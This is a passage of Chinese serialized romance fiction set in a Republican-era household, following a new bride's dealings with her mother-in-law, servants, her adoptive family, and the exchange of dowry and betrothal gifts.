萧素素沉默,她知道宋婉或者欧繁汐会来,没想到来的这么快。锅里有烧着的水,还没有开,原本准备煮面用的。
萧薇道:“你不说我也知道她来干嘛的,不就是给你立规矩吗?”
萧素素翻箱倒柜的找茶叶,道:“她称呼我为萧小姐,就是不认我这个儿媳妇,那么我还不配被她亲自来立规矩。”
“那她现在来干嘛的?”萧薇问。
萧素素愁眉苦脸:“怎么没有茶叶啊?”
萧薇道:“不可能吧,莫非被吴妈藏起来了?”
萧素素道:“不能再晚了,得想个法子。”
萧薇道:“我去街上买。”
“那怎么行,人家就是准备以这个为切入点来收拾我的,你去街上买,多早晚才回来?”
萧素素在厨房里踱了两步,看到五斗柜上有几个苹果。她心思一转,打开五斗柜,看有没有红枣枸杞之类的。
五斗柜里除了茶叶,应有尽有,咖啡、红糖、冰糖、黑芝麻、枸杞、白糖......最难得的是里面还有洛神花,可能是平日里用来给沈靳言解酒的。
萧素素取出冰糖、洛神花、红枣、枸杞,又将苹果切了片,很快,一碗花果茶就做好了。
她叮嘱萧薇:“你就在厨房呆着,免得你被误伤。”
她把茶端进客厅的时候,吴妈脸色变了又变,她早晨故意把茶叶收走,就是给宋婉留个教训这死丫头的筏子,没想到这死丫头轻而易举的就端出来了一碗茶。
萧素素双手奉上,道:“母亲,这茶叫德国风情,大小姐在德国留学,儿媳想来您想念得紧,特做了此茶。”萧素素不知道沈静恬的行第,只知道沈静恬是沈松龄第一个女儿,故称呼她为“大小姐”。
宋婉吵架羞辱人这种事干不明白,吴妈禀报称别院的茶叶都被她收走了,她知道可以拿茶做筏子,出发来这里前想了很多羞辱萧素素的话,比如,财米油盐酱醋茶都搞不清楚,还有脸嫁给别人当媳妇。又比如,茶米油盐酱醋茶都搞不清楚,也配爬我儿子的床。
但是,萧素素开口就是拿沈静恬在德国留学的事说项,真正把住了宋婉的心脉。
宋婉盯着那青花缠枝纹茶碗,咬咬牙道:“你不要叫我母亲,你们无媒苟合,你不配叫我母亲。”
萧素素道:“无媒苟合不假,但是情况特殊,那时我被人下药躺在房间里休息,二少爷知道以后不忍心我无人救治才救了我。说起来如果没有二少爷救我,有可能我已下了黄泉。”
宋婉:“.........”第一,是自己儿子毁了别人的清白,第二,是自己儿子要娶的人家。
萧素素道:“二少爷已经将我们结婚的事在报纸上登出来了,不管您认不认,我都应该叫你母亲。”
宋婉:“......”
宋婉暗暗的揣摩刚刚那句话,那句话萧素素可以说成:“二少爷已经将我们结婚的事在报纸上登出来了,不管您认不认,我都是她名正言顺的妻子。”知道
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她宋婉是姨太太,她就没这么说,是给她这个亲婆母脸面。
宋婉道:“你这个德国风情我没有喝过,可有什么讲究?”
萧素素道:“这个茶喝了对身体很好,主要有三个好处,对母亲有用的就第一点好处......它可以疏肝解郁、滋阴补肾、清凉解毒、和血散淤。想来母亲肯定因我和二少爷的事担心不已,操劳时难免会有潮热、汗出、心烦,儿媳为您泡了这个茶,希望母亲喝了这个茶,能减轻些痛苦。这茶的第二点好处和第三点好处母亲就用不上了,我就不在这里赘述了。”
宋婉道:“你真是巧舌如簧,既然你这么能说,那你就多说点......跟我说说,那两个我用不上的好处。”已经完全忘记要刻意称呼萧素素为萧小姐这回事了。
萧素素从善如流:“第二个好处就是它可以美容养颜,排毒减肥。可美白肌肤,有效淡化面部色斑,还可以调节油脂分泌,排出体内毒素与多余脂肪,使人的体态轻盈。母亲貌美,皮肤也好,身材又苗条,不喝这茶照样仪态万方。”
在厨房偷听的萧薇都想骂她姐一句:“马屁精”。又听她姐继续道:“这茶还有一个好处就是能促进内脏活动、增强身体活力。有效改善因内脏活动缓慢引起的皮肤暗沉、发质枯槁、长期便秘或腹泻。我看母亲皮肤白嫩光洁,头发光滑得像绸缎,自然也是用不上这个好处的。”
宋婉下意识摸了摸自己的脸,才发现有些不妥,依旧板着脸道:“纵使你把它说上了天,它若是不好喝,也是没人会喝的。”
萧素素手都举软了,她吃力的将茶碗奉得更高一些,道:“母亲尝一尝就知道好不好喝了。”
吴妈上前接过茶碗,再递给宋婉。
德国风情就是一种好喝的花果茶,或者说花果茶就是为了好喝而存在,宋婉尝了,喜欢得不得了。
“你过来坐下,我有话要慢慢问你。”她绝口不提她喜欢这茶,但态度柔和了许多。
萧素素依言到宋婉对面坐下。
宋婉道:“刚刚那个女孩子是你的亲生妹妹?”
“对,她叫萧薇,在union学校学医。”
“亲生父母都去世了?”
萧素素道:“母亲去了有些年了,去年夏天父亲也去了。现在的父母是以前联了宗的亲戚。”
“其他亲戚还有走动吗?”
“没有,父母是从黔地那边进京谋生的,前些年闹瘟疫,死光了。”
“嫁妆的事,我是不同意老爷那么做的。但老爷让京师地方检查厅调查萧将军原本也不是为着嫁妆。”
萧素素想了想时间线,相信宋婉没有说谎。嫁妆的事没有说谎,正常人都不会认同那种方式要嫁妆。沈松龄扣压萧岐山最初的目的肯定不是为了嫁妆,因为萧岐山先被京师地方检查厅带走,后才发生了鲲鹏俱乐部的事。
见萧素素沉默,宋婉又加了一句:“是太太建议老爷扣押的萧将军,为了什么,只有老爷太太才知道。”
萧素素笑了笑:“母亲,儿媳知道了。”
42. 内讧(二十)
宋婉让吴妈拿了个样式稀奇的小盒子出来,描金涂红的十分精致。她递给萧素素道:“这是红袖添香特制的,里头装的是蔷薇香膏,你用来擦手吧。”
蔷薇香膏是香露所制,价格奇贵,一盒难求,可用来涂抹搽脸,香气甜腻、质地细腻,比西洋的面霜还好用。
萧素素的手小时候切菜伤到了,很明显的疤痕,她笑了笑,道:“多谢母亲!”
宋婉故作语气严厉道:“手是经常能被别人看到的,你的手一看便知你幼时窘迫,实在是不好看,你要好生保养,别丢我儿子的脸。”
她说完这些,就道:“吴妈,喜儿、巧儿我又给你带回来了,原本想着把你带回老宅去住我的院中,到底是靳言的女人,沈家不认你也没什么,我拿我自己的份例养你,但靳言不喜欢老宅,觉得围着的人太多,心烦,我也只得作罢。”
萧素素语气很平常:“二少爷将他们三位请回母亲身边的时候并未告知儿媳,自然也没有告诉儿媳为什么请他们回老宅,此事还是等二少爷回来了您亲自问过他才行。”
宋婉却突然气不打一出来:“你见我只是个姨太太就不听我的话是不是?”
萧素素脸色一变,立刻跪在地上:“母亲,儿媳没有这个意思……”
宋婉道:“小夫妻之间的事不就是那样吗?你在枕边吹吹风,以达到你的目的。”她就不相信靳言突然让这几个人回老宅,没有她的原因在。
萧素素道:“儿媳真的不知道这件事是因为什么。”
一直没有说话的巧儿却突然发声:“二姨太,少奶奶真的不知道这件事的缘由,我们出发回老宅的时候她还没有起床呢。”
萧素素:“......”
她原本以为她们早就告了她晚起且没有准备晚餐的状了,心想宋婉进门这么久也没有拿这事说事,想必这件事已经翻篇儿了,没想到宋婉压根不知道这事。
宋婉很惊讶:“什么?那靳言的早餐她没有起来准备吗?”
巧儿道:“奴婢看到已经六点了,二少奶奶却没有起床,按照老宅的惯例就去叫二少奶奶起床,也不知道二少奶奶给二少爷说了什么,二少爷发了好大的火......起床后就让我们回老宅。”
宋婉转头问吴妈:“你怎么没有跟我说这事?”
吴妈睃了一眼巧儿,发现自己已经失去对巧儿这丫头的控制了,敢越过她直接向二姨太秉事,反了她了,就道:“姨太太休得听这丫头胡说,奴婢回老宅前,二少爷专门把我叫到书房去说过这事了......二少爷连日操劳,早上需要休息,昨晚临睡前特意吩咐了这丫头不要来打扰他们休息。结果,这丫头不听二少爷的话,故意在洞房门口大声嚷嚷,二少爷被他吵的头痛欲裂,故责骂了她......”
巧儿道:“不是这样的,姨太太,您一定要明鉴,二少爷没有说过不能在门口叫二少奶奶,吴妈她撒谎。”
吴妈道:“二少爷确实对奴婢这么说的。”
她敢肯定,宋婉即使去向沈靳言求证,沈靳言也会承认他确实说过。
宋婉有些不认同吴妈刚刚的说法,道:“那即使是那样,做媳妇的也应该悄悄的起来准备早餐才是.....”
吴妈咳嗽了一声,老娘休得通红,道:“那自然是二少爷要拉着二少奶奶干些个新婚的正事......”他看到宋婉喝那碗“德国风情”时的表情,已经知道她迟早要认这个儿媳了,自己正为收走茶叶的事而后悔呢,现在帮这个二少奶奶说句话,让她把茶叶的事误会到巧儿身上才好。
宋婉想到沈松龄经常在大清早要拉着她在床上干些个不正经的勾当,弄得她经常累得晕死过去,常常中午才起床。
想到儿子正是血气方刚的年龄,也是有这方面的需求的,就默认了吴妈的说辞。
门口响起沈靳言的声音:“发生了什么事?”
他身后跟着几个女孩子,看样子都是丫头打扮。还有两个中年男人和两个中年女人。
萧素素看了一眼,发现居然是萧家的佣人,心里很是震惊。
宋婉对萧素素笑了笑,道:“已经问清楚了,没有任何问题,你起来吧。”
沈靳言见宋婉不答自己的话,知道她心里有气,就问吴妈怎么回事,吴妈跟他说了刚刚的事,沈靳言就道:“事情就是这样。”
宋婉沉默,巧儿还要声辩:“二少爷,你何时说过让奴婢不要在洞房门口大声嚷嚷?奴婢又何时大声嚷嚷了?奴婢明明就只是很小声的......”
沈靳言轻笑一声:“我会冤枉你一个小丫头,你也配?”
巧儿还要声辩,沈靳言懒得说废话:“母亲,把她发卖了吧。”
巧儿这才发现事态多么严重,现在很多富裕的家庭都破产了,穷人更是吃不起饭,发卖了她,她还有活路吗?
她一时愣在了原地,半天才想起跪下,道:“二少爷,巧儿知道错了,您就原谅巧儿这一次吧。”
都是穷苦人家的孩子,宋婉到底有些不忍心,就道:“她是别院里伺候惯了的人,发卖了,你怎么办?”
沈靳言指了指门口那几个丫头:“我岳母给我送了几个仆人来伺候,都是萧家的家生子,生契也给我了。”
宋婉又来了气:“岳母!岳母!我们还没有承认这门亲事呢!”
沈靳言道:“要么把巧儿发卖了,吴妈和喜儿继续留在别院,要么她们三个都由母亲带回去......”
宋婉两个都不想选,一时不知道该说什么好。
萧素素知道这既是谈判技巧,又是沈靳言为了她好管理佣人在给她立威,但现在外面太乱了,她也是穷苦人家出生,巧儿这样被发卖出去就真的有可能没有活命的机会了。
她正想开口求情,沈靳言望向她:“你不要说话!”
吴妈赶紧对宋婉道:“要是我们全都回老宅了,二少爷可怎么办啊?这些萧家来的哪里知道二少爷喜欢什么,不喜欢什么.....
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宋婉站起来,道:“管不得了......你们三个就跟我回老宅吧。”
沈靳言:“......”
萧素素:“......”
巧儿喜出望外,不住的给宋婉磕头,从此以后也不再对沈靳言抱有幻想。
宋婉淡淡的说:“起来吧,我们回自己的地方。”说完都没有看一眼沈靳言,便出去了。
萧素素拉了沈靳言送宋婉出去,道:“母亲,你有什么想骂的骂儿媳就是,你不要不说话......”
宋婉道:“你不要再叫我母亲!”
她指着旁边沉默的沈靳言道:“你总是仗着我是你亲生的母亲便为所欲为,我以后再也不管你了!”
沈靳言目送着那两辆军用吉普开走,始终都没有说话,然后沉默着回了客厅。
萧薇正在客厅里问那几个佣人话,看到沈靳言进来,就对他说:“姐姐做了花果茶,姐夫要不要尝点?”
沈靳言笑着摇头,道:“我头痛,回屋歇着了,晚饭让你姐姐不要叫我。”
萧素素莫名其妙,她明明就站在他旁边,他还要让萧薇传话?
萧素素想跟着他上楼,可萧家来的那几个佣人还在客厅等着她安排呢。
萧薇悄悄问萧素素:“姐夫怎么啦?”
萧素素只得道:“脑疾。”
应该是操劳过度,终于受不了了。但他那样对她,就是有毛病。
萧薇:“.......”
萧素素将几个仆人领到后罩房去分配各自的工作。又到每个房间去熟悉了环境,却发现沈靳言没有在昨天那个卧室里休息,而是将他自己反锁在书房。
她想到自己摆在客厅的行李,猜测沈靳言为了方便她收拾东西而委屈自己去书房休息?
不管怎样,生活要过下去,只是有了新的挑战而已。
只是三日回门的事让她发愁,没有人教过她新婚回门等礼节。萧岐山和陈婉对她那样好,她却不成个样子,和人私定了终身不说,还连累萧岐山被冤枉。心里忐忑得很。
快天黑的时候,王妈私下来找她,颇有些鬼祟的样子。
那时候萧素素还在整理衣柜,她敲门进来,东张西望的:“大小姐,姑爷呢?”
萧素素道:“在书房里休息,你有什么事就说吧。”
王妈递给她一张纸,道:“夫人让我给你的......是回门的礼单,已经准备好了,您等会儿只需要假意派我家那个老头出去采买东西,他就去把那辆装着这些东西的马车运回来。”
没想到,礼单上密密麻麻写的字迹却是馆阁体,应该是萧岐山写的。有十二攒盒的各类糕点、十二攒盒的干果糖食,一担四京果、一担季橙、三牲酒水,这些东西恐怕要装一整个马车。
王妈的丈夫是何伯,都是萧岐山身边很忠心的奴仆,萧素素不疑有他,先下楼去找何伯,在花园里当着那些护卫的面交代何伯去“采买”回门礼。
43. 内讧(二十一)
夜已深,萧素素搬了个杌子在书房门口等着,也不知道沈靳言什么时候能醒,只能这样守株待兔。
不小心竟睡着了,迷糊中有人将她抱起,她立即就醒了。
“沈靳言,你饿了没有?”她攀着他脖子问。
醒来第一句话就是问自己饿了没有,沈靳言觉得很温暖,也将关心她的话说出来:“你居然敢在走廊里睡觉,也不怕着凉。”
萧素素看到他坚毅的下巴,道:“你放我下来,我去给你做面片汤,我做的面片汤可好吃了。”
“是吗?你会做面片汤,那我可要尝尝。”并没有把她放下来。
萧素素不自然的扭了扭,这人太喜怒无常了,下午莫名其妙,晚上也莫名其妙。
“你先放我下来。”萧素素又要求了一遍。
沈靳言把她抱下楼,往厨房走。萧素素道:“你放我下来,我自己去厨房,你不要去厨房。”
沈靳言眼里情绪不明,问她:“为什么你能进厨房,我不能进厨房?”
“当然是厨房的油烟太大了,灶上也腌臜。”
沈靳言笑笑:“没关系,我喜欢这种烟火气。”
萧素素暗暗想:“他是资政之子,怎么会喜欢烟火气呢?”
她不想质疑他,免得破坏他的好心情,但还是说:“你放我下来,被佣人看到了不庄重。”
沈靳言想起早上见到巧儿时,那丫头脸上有不自然的潮红,像是听了他们的墙角一样,还是把萧素素放下了。
进了厨房,里面没有下人,沈靳言就问:“不用找人来帮你?”
“这点小事儿还让人帮,我这个做媳妇儿的也太没有用了。”
沈靳言被她说的“媳妇儿”又温暖到了,这才是生活吧,以前无论多少人把他围着,他的内心也是孤寂的。
萧素素先生了火烧热水,王妈听到动静来厨房一看,发现小姐和姑爷都在厨房,马上忐忑起来:“哎哟,我的天爷哦,姑爷和小姐怎么在这种地方。”
萧素素很明媚的对王妈道:“我给沈靳言做点面片汤,你不用管。”
王妈道:“我们哪能不管,我去让管灶上的秀禾和烧火丫头小雨来。”
沈靳言很好说话的样子:“你真不用管,我和她在厨房说说话,也是一种情调。”
情调是什么?王妈不懂,更不敢问。
王妈看到萧素素舀了四碗面粉和一碗玉米粉放在盆里,又放了温水和盐,很熟练的样子,还是比较放心,但也不敢离开。
萧素素边和面,边说:“王妈,忘了嘱咐你了,我是嫁给了沈靳言,住的也是沈靳言的别院,以后你们称呼都要跟着变,不能像在萧公馆一样叫我小姐了,要叫他二少爷,叫我二少奶奶。”
王妈忙向沈靳言赔不是:“二少爷,我们以后一定谨记二少奶奶的吩咐。”
沈靳言道:“我是不计较这些的,只是在沈家,你们的言行别人都是要算在你们小姐头上的,谨言慎行总是没有错的,既是为了你们小姐,也是为了你们自己。这就是常言所说的一荣俱荣,一损俱损。”
王妈赶快答应了,看见萧素素在洗番茄,立马给她把案板和菜刀准备好,又给她把洗番茄的水倒掉,她会看眼色,两人配合的很好。
要制作汤底的时候,王妈没有去找小雨,而是自己烧火。
等锅烧热了,萧素素在锅中放入少许猪油,加入葱花炒香,又将葱花渣捞出,再加入番茄翻炒至出汁,加入老抽上色。这期间又醒了一次面。
然后萧素素将面团擀薄,切成宽条。
她对王妈道:“火烧小点,马上要开了。”她再将面片揪成小段,边揪边下入锅中,用锅铲推动避免粘黏。
煮约两分钟后,加入盐调味,最后又撒了葱花。
王妈拿了两个碗出来舀面片儿汤,一直沉默的沈靳言终于开腔了:“小姨不吃吗?”
萧素素道:“早两个小时,大爸派人来把她接回家了。”
沈靳言道:“怎么不多住几日?”
萧素素道:“明天就是回门了......”
沈靳言一拍脑袋:“回门礼我都还没有让人准备!”
王妈把面片儿汤端到餐桌上,萧素素则走到沈靳言面前笑着看他。
沈靳言道:“你还笑?”
“我全都准备好了......”心里暗想,看来萧岐山还是很了解沈靳言的,知道他不懂这些。
沈靳言道:“你什么时候准备的?”
“你睡觉的时候。”
沈靳言连日操劳,回来后看到母亲失望的表情,更是情绪低落,说是要睡觉,却翻来覆去的睡不着,也不知道究竟什么时候睡着了,与醒来的时候就感觉是一闭眼一睁眼的差别。开门的时候看见萧素素在门口等他,很后悔自己下午把坏情绪表现出来了。
萧素素将筷子和勺子递给沈靳言:“快吃吧,尝尝合不合你的胃口?”
沈靳言先喝了汤,新鲜可口、暖胃暖心,又吃了面片儿,精道爽滑。
他点点头道:“好吃,真是太好吃了。”
萧素素嗔道:“可别诓我,你就是夸上天,我也不会经常给你做。”
沈靳言严肃道:“真的好吃,我很少吃到面片汤,记得只吃过一两次。”
萧素素道:“面片儿汤是平头百姓吃的食物,你们家很少吃也很正常。”
沈靳言道:“你也赶快吃。”两人很快就把自己碗里的吃完了。
王妈笑着把碗收了。
一夜无话。
第二天两人到萧公馆的时候,花厅里坐满了客人,都是萧家的亲戚,大家都看了报纸上登的结婚信息,自然要来看看这个新郎官,他可是资政之子。
沈靳言看到沈嘉兴在角落里坐着,坦坦荡荡的向他行了点头礼。沈嘉兴倒是觉得没什么,只是有些感慨,短短几月,萧素素就已嫁作人妇。她穿着大红色百蝶穿花纹的遍地金通袖旗袍,大红刺绣折技小葵花金带马面裙,头发盘起,戴了两支白玉嵌红珊瑚珠子双结如意钗
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,嵌白玉的折绢丝织宫花,画了浓妆,已经是妇人的打扮了。当然依然是绝艳容貌。
如今她荣光满面,并没有过得不好的样子,金丝镶红宝石的耳坠更衬得她面若桃花般娇艳。
没有办结婚宴席,沈靳言为了萧素素的面子,不免要给大家解释一翻:“......京钞风波未平,为了安全,就没有办酒席。”
佣人用红漆托盘端了茶上来,沈靳言和萧素素规规矩矩给萧岐山和陈婉磕了头。
陈婉笑盈盈的扶起萧素素:“素素真是越发明媚了,想必沈行长对你很好吧?”
沈靳言道:“岳母叫我靳言就可以了。”
陈婉高兴得要不得,她无痛当妈,女婿还是沈靳言这样的青年才俊,就算他没有那样的家世背景,那也是极好的女婿人选。
之前她其实内心觉得萧素素要是能嫁给沈嘉兴,已经算是顶天了。沈嘉兴的父母当时完全是看在她没有儿子的份上才同意他们相亲的,如今看来,萧素素的福气还大着呢!
茶已三毕,陈婉带着萧素素和女眷们聊天赏花,萧岐山则带着男人们进了书房。
丫头上了茶以后,萧岐山才引荐男客。只有沈嘉兴是沈靳言认识的,其他人不熟,大家都很拘谨,都是聊些书法、字画之类的话题。
有个叫萧林的,是萧岐山的堂侄,却想趁着沈靳言在,问点股票的事:“妹夫,不知现在买哪家的股票比较赚钱?”
沈靳言道:“股票的风险很大,我这边建议谨慎投资......你看1883年股灾,整体暴涨一两倍以后普遍下跌了百分之七十,不光投资者破产,交易所也关停了,引发了严重的股灾,金融危机持续了数年之久。”
萧林还不死心:“你是银行家,你家四公子又正在筹备股票交易所,难道花国就没有值得投资的股票?”
沈靳言道:“我是说的谨慎投资......我认为谨慎的投资一些有金融主权的银行是可以的。”
萧林问:“花国银行的股票推荐吗?”
沈靳言道:“此番挤兑风潮受害最严重的就是花国银行,短期内不建议投资。”
因为都是和钱息息相关的,没有人出言打断。
萧林又道:“就不谈投资,纯收藏能给些建议吗?”
沈靳言道:“这个倒是有推荐......目前和未来收藏价值最高的当然是沪城轮船招商局发行的第一张股票,它也是花国最早发行的股票。其他的还有沪城轮船招商局1904年发行的以及前朝户部银行发行的股票,它们都有很高的收藏价值。”
沈靳言揭开茶盖拂去茶沫缀了口茶,才又说道:“收藏股票和收藏字画是一样有讲究的:这里给你三个建议:第一,要考虑年代背景,股票的年代越久远,当然收藏的价值越大。第二,要考虑上市公司的经济状况,尤其是金融股票,对其在社会的影响很大,所以有研究价值,进而有收藏价值。第三,市场上少见的老股票也有收藏价值,物以稀为贵,对任何东西都是通用的。”
44. 内讧(二十二)
花厅里,萧素素好不容易才找到陈婉说话,便低声问她:“妈,沈靳言昨天来家里了?”
陈婉摇头:“我和大爸去银行找他了......跟他商量一些事情。那几个仆人就是我们带去交给他的。”
萧素素暗道:莫非昨天沈靳言情绪低落和他们有关?可沈靳言睡了一觉起来后又很正常了,她也不知道从何打听起。
这时候,沈嘉兴的母亲要打牌,几个妇人就拉着萧素素要她上,陈婉笑着阻止:“她哪儿会啊,她就是个书呆子。”
沈母道:“资政家是何等人家,不会打牌哪里能行,你要成为沈行长的贤内助,就要学会这些交际工具。”
萧素素苦笑着摇头:“我一看到牌就头痛......恐怕学不来。”
沈母笑着拉她:“来,你坐着,表婶娘教你。”
萧素素心中百般不愿,她一个寒门女子,学的都是如何活下来的技巧,哪里学过这个,时至今日,她连牌都认不全。但她不能拨了沈母的面子,主要是这也是陈婉的面子。
她坐下,妇人们七嘴八舌的教她认牌。还好,她脑子好,一会儿就认全了,只是打牌始终不行,什么谋略都没有,蒙蒙的还打出了几个“相公”。
但众人都捧着她,不敢说她半个字。
只有萧薇在旁边大声吐槽:“姐,你可实在是太笨了,连牌都数不清楚。”
陈婉眼皮直跳,教训萧薇:“你哪能这么说你姐,没大没小!”
许管家这时候挑了帘子进来通禀:“太太,资政夫人和资政长媳拜见。老爷接了拜帖,让您赶紧去宴息处……”
陈婉吓了一跳,昨晚上萧岐山才把萧素素的嫁妆单子和一应签了字的法律文书派人送到了资政.府邸,今天他们就来了,还是第一夫人带着长媳来,只是不知道见了那个嫁妆单子,资政.府邸到底是个什么态度?
陈婉招呼了众人,就带着萧素素去往宴席处。
萧素素一直都有一种预感,就是萧岐山夫妇已经把嫁妆单子给了沈家,要不然她回门后,他们不会一个字都不提嫁妆的事,倒不是她觉得萧岐山他们有义务给她嫁妆,而是因为他们说了会给嫁妆就一定会给,她拉了拉陈婉的手问道:“妈,沈家的人来干嘛?”
陈婉道:“既然来的人是你婆家的嫡母和长嫂,想必是给你补聘礼。”
萧素素预感更不好了,苦笑着摇头道:“她们没准备认我,为什么会给我补聘礼?”
陈婉道:“可能你大爸给你的嫁妆实在是太丰厚了吧?”丰厚到陈婉看到那个嫁妆单子的时候,心痛得无法呼吸。但一想到萧素素是嫁给资政之子,她就什么反对的话都说不出来。
萧岐山说,这件事根本就不是嫁女儿的问题,而是家族兴衰成败的问题。萧素素本来就出生不好,嫁妆上再不废点儿功夫,那就是在给资政找不痛快。
萧素素不知陈婉的想法,就道:“你们对我恩重如山,我出嫁哪有脸要嫁妆。”
陈婉道:“我们认了你和薇薇做女儿,你们的事自然和我们就关联在一起了……况且结婚本来就不是两个人的事,而是两个家族的事,嫁妆和聘礼也是一种博弈和布局,不能马虎。”
萧素素听不懂,但她必须要问:“是不是你们把通商银行那20%的股份给沈家了?”
陈婉点头道:“不止这些,还有宝坻的几个庄子、各种金银珠宝、床上用品等。”
萧素素红了眼:“我知道你们为了我好,可凭什么给他们这些!”
陈婉心里很不认同,这哪是为了她好啊,这是为了萧氏家族和萧岐山好。却也不表露出来,只道:“你这是什么话!不许再说这些,我们这么做自然有我们的道理。”
萧素素觉得陈婉突然变得没有那么熟悉了,甚至是陌生?她也说不出来这个感觉的原因。
两人到宴席处的时候沈靳言和萧岐山已经和欧繁汐、倪梦珍寒暄了一阵子了。
萧岐山介绍了陈婉:“资政夫人,这是贱内,她出生于察哈尔陈家,父亲担任过宝坻县令,母亲出身于临川沈氏家族。”
欧繁汐热络的拉起陈婉的手,道:“我们沈家原也出生于临川沈氏家族,这么说来,我们几百年前也是亲戚。”
陈婉道:“沈家有了沈资政真是无限荣光,临川沈氏家族原本只是普通名门望族,出了沈资政以后,便是天下闻名。”
欧繁汐说:“我们这是亲上加亲。”
又介绍了倪梦珍:“这是我长媳,素素的大嫂……现在是黄河建设的董事长了。”
倪梦珍长得不好看,结婚多年也没有孩子,地位一点也没有受影响,因为她父亲是西北督军,母亲的家族是大买办商人,给政府垫付了很多资金,倪家很有几个钱。
倪梦珍行礼后,道:“父亲让我陪母亲来见姻伯、姻伯母,虽然来迟了,还请姻伯、姻伯母不要见怪。”
陈婉道:“好事不怕迟。”
沈靳言拉过萧素素,道:“快来见礼,是我母亲和大嫂。”
萧素素神色平常的见了礼,欧繁汐盯着她的脸看了一会儿,才开口道:“原应该早早的就来亲家这里拜访,可孩子们是私定的终身,我们做大人的根本就来不及讲礼义廉耻,故而来迟,还请萧将军不要怪罪。”
这话真是难听,可萧素素想怼她几句也不敢,怕万一怼了欧繁汐,沈家什么聘礼也不给,萧岐山白白损失了那么多给她的嫁妆。
没想到坐在她旁边的沈靳言却道:“母亲误会了,素素没有要和我私定终身,她原是不愿意的,是儿子强迫的她,她一个女娃娃家,哪里能敌得过我一个大男人。”
欧繁汐有点下不来台,倪梦珍笑骂道:“二弟真不知羞,再怎么想讨媳妇,也要父母之命、媒妁之言,没得叫人家笑话。”
沈靳言淡淡道:“我一个二十九岁的老光柜,又是区区庶子,生怕素素看不上我,只得先下手为强了。”
他本可以继续怼得她们体无完肤,但想想还是算了,终究是在萧家,不能让萧家的人为难,况且她们还没有讲
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明来意,就炮轰她们,实在是不明智。
陈婉苦笑道:“沈女婿,不可妄自菲薄。”
萧岐山光是看到这一幕,就知道萧素素在沈家应付不来,沈松龄妻妾儿女都多,宅门里的事也复杂,萧素素从小就没有在相似的环境呆过,怎么应付得来这么复杂的人事?
沈靳言也不想欧繁汐老在萧家扯皮,就直接推进度:“不知母亲和大嫂来我岳丈家做什么?”
一副让她们快点说了快点走的态度。
欧繁汐硬梆梆的说道:“当然是替你下聘来了。”
沈靳言当然预判到了,道:“既然是替我下聘,可否让我先看看。”
昨天萧岐山拿了嫁妆单子给他看,太丰厚了,他不同意,萧岐山却执意为之,两人不欢而散。
他要看看聘礼单子,如果聘礼太薄,他当场就撕掉,自己亲自下聘就是了。
反正他短命,留给素素的够用就行了,不能让萧岐山亏了不是。
欧繁汐将聘礼单子拿给沈靳言,沈靳言细细看了,是旧时读书人的馆阁体,父亲沈松龄的笔迹,上面如此写道:“萧府亲家翁如面,为迎娶贵府千金略备:
聘金彩礼纹银十万两,
黄河百货股票五百股,
新乡银行金额标注为“国币壹拾萬元整”的股票十张,
礼饼八担,
喜糖八十八斤,
酒八坛,
精品果蔬八担,
猪腿肉八十八斤,
赤金碧玉头箍一副,
赤金丁香花的簪子一支,
赤金佛手提蓝的簪子一支,
赤金嫦娥奔月的簪子一支,
赤金衔红宝石凤钗一支,
赤金垂心耳坠一对,
赤金垂珠耳坠一对,
赤金坠双福锁片的项圈一副,
赤金坠万事如意金锁的项圈一副,
赤金如意的项圈一副,
赤金挂铃铛的手镯一副,
赤金环珠九转玲珑镯一副,
赤金扭丝镯一副,
赤金嵌银手镯一副,
赤金镶翡翠如意的戒指一支,
赤金镶各色宝石的梳蓖一枚......”
倪梦珍道:“二弟放心,聘礼比我当时的还多,父亲从来都是最疼你了。”
沈靳言没接话,聘礼的确很丰富了,不过大多都是母亲的陪嫁,只有股票是父亲的,所以,她们看不惯也只能忍住。
他想起母亲昨天离开别院时的表情,心里有些自责。
欧繁汐又拿出那些股票的法律文书,让人合着那张礼单一起拿给萧岐山,道:“这些我们都签字画押了,还请将军不要嫌弃聘礼太寒酸。”
这就是一笔交易,根本不像婚姻嫁娶,这些人既没有给萧素素看聘礼单子,也没有人给她看嫁妆单子,虽然这些本来就不属于她,但没有她这个人又哪来这场交易?他们是不是应该至少给她看看这两张单子?哪怕只是看看而已。
45. 复仇(一)
茶已三毕,交易仍在继续,欧繁汐道:“我们当家的说,新人要在老宅住两年,侍奉公婆,已全孝道。”
萧岐山颇有些踟蹰,他估计萧素素绝对应付不来沈松龄那些姨太太,一般人光是应付眼前这一位花国第一夫人都难,可人家拿孝道说事,拒绝的话就不好说出口了,他只得道:“嫁出去的女儿、泼出去的水,她婆家的事,我和她母亲不方便参言。”
萧素素也不想去应付老宅那堆复杂的人事,便道:“我听二少爷的。”她肯定沈靳言也不想回老宅住。
沈靳言手指扣在石桌沿上,静默了片刻才说:“我记得大嫂进门的时候就直接分去了别苑住了吧?怎么,素素一个庶房媳妇却要去做宗妇该做的事?这不合适吧?太越俎代庖了!”
倪梦珍道:“怎么二弟要拿我说项?”
沈靳言道:“大哥是长子嫡孙,大嫂是长媳宗妇,我和素素自然唯大哥大嫂马首是瞻,以大哥大嫂为榜样!”
一般家庭也是长媳宗妇侍奉在公婆面前,何况他们不是一般家庭,更是不能乱了规矩。
欧繁汐脸色变了变,沈松龄没有说让萧素素回老宅住的话,这是她假传的圣旨,她就看不惯沈靳言和萧素素在别院里过神仙眷侣的生活,把他们请回老宅住,她还可以拿捏萧素素。她勉强笑道:“你父亲也是好意,反正她没事,跟着我和二姨太学点规矩和见识也是好的。”
沈靳言道:“母亲恐怕误会了!她怎会没事呢?她的事情可多了,要去通商银行上班,我准备先给她个金库副主任当当,然后她还要经营宝坻的田庄、还要协助我经营百货公司和煤油公司,忙都忙不过来呢,哪有空学那些家庭主妇的事情......”
欧繁汐皱眉:“你说什么!她还要抛头露面?”
沈靳言点点头,一副理所当然的样子。道:“她的嫁妆她不管谁管?再说了,什么叫抛头露面?现在时代不同了,现在提倡男女平等,没有抛头露面这种说法了。况且,我都说了让她像大嫂学习,自然是要出去工作的。不过,她命苦,不能和大嫂一样,一上来就是董事长,谁叫她嫁了我这个庶子呢,只能从基层干起......”
倪梦珍:“......”她没有为黄河建设做出任何贡献就坐上了董事长之位,还因为不懂经营,决策方面还要沈松龄亲自把关,可以说是德不配位,沈家的人大都敢怒不敢言,没想到沈靳言是个不怕事儿的,偏要阴阳她。
欧繁汐被气得脸一阵青一阵白,道:“那你们就不讲孝道了?”
沈靳言道:“要讲要讲,怎么能不讲呢,我们可以把父亲、母亲以及各位妈妈接到别院来常住,想住多少年住多少年,日日侍奉跟前!”
